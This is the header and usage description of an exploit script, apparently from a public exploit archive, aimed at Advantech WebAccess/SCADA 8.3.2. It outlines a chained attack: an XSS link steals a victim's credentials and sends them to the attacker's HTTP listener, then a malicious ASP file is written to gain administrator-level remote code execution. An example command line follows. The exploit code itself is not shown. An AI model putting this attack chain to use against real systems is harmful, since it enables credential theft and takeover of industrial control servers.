# Version: 8.3.2  
# Tested on: Windows Server 2008 R2  
# CVE: CVE-2018-15705, CVE-2018-15707  
# TRA: https://www.tenable.com/security/research/tra-2018-35  
# Description:  
#  
# This code exploits two vulnerabilities to gain remote code execution  
# with Administrator privileges:  
#  
# 1) CVE-2018-15707 to steal credentials (XSS). User-interaction required.  
# 2) CVE-2018-15705 to write an ASP file to the server.

desc = '''This exploit targets Advantech WebAccess/SCADA 8.3.2. It has been tested against Windows 2008 R2 x64.  
  
The goal of the script is to execute code remotely. User interaction is required.  
  
The following operations will be conducted:  
1) Ensure WebAccess application is running. (TCP port 80 by default)  
2) Ensure WADashboard is running. (TCP port 8081 by default)  
3) Ensure user-specified project exists.  
4) Ensure user-specified node exists.  
5) Generate malicious link to send to victim user. (exploits CVE-2018-15707 to steal credentials via XSS)  
6) Start HTTP listener to receive credentials when victim clicks the link.  
7) Login to WADashboard.  
8) Write a malicious ASP file to the root of the WebAccess application. (exploits CVE-2018-15705)  
Note: elevated privileges will be obtained using the Webdraw RemoteWinExec function.  
9) Execute user-specified command.

python script.py -t 192.168.0.2 -p1 80 -p2 8081 -https false -proj myproject -node mynode -ip 192.168.0.3 -port 9999 -cmd calc.exe
